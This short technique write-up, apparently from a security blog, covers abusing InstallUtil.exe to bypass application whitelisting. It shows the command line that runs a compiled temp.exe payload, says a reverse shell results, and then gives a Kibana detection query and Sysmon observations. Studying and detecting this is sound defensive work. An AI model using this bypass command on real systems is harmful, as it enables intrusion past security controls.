InstallUtil code execution - bypass application whitelisting.
Compile the .cs to an .exe:
Execute the payload:
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
Copyright (C) Microsoft Corporation. All rights reserved.
Hello From Uninstall...I carry out the real work...
Enjoy the sweet reverse shell:
InstallUtilprocesses that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:
A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:
event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
InstallUtil launching the malicious payload
csc.exe created a temp.exe which contains the reverse shell payload
What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.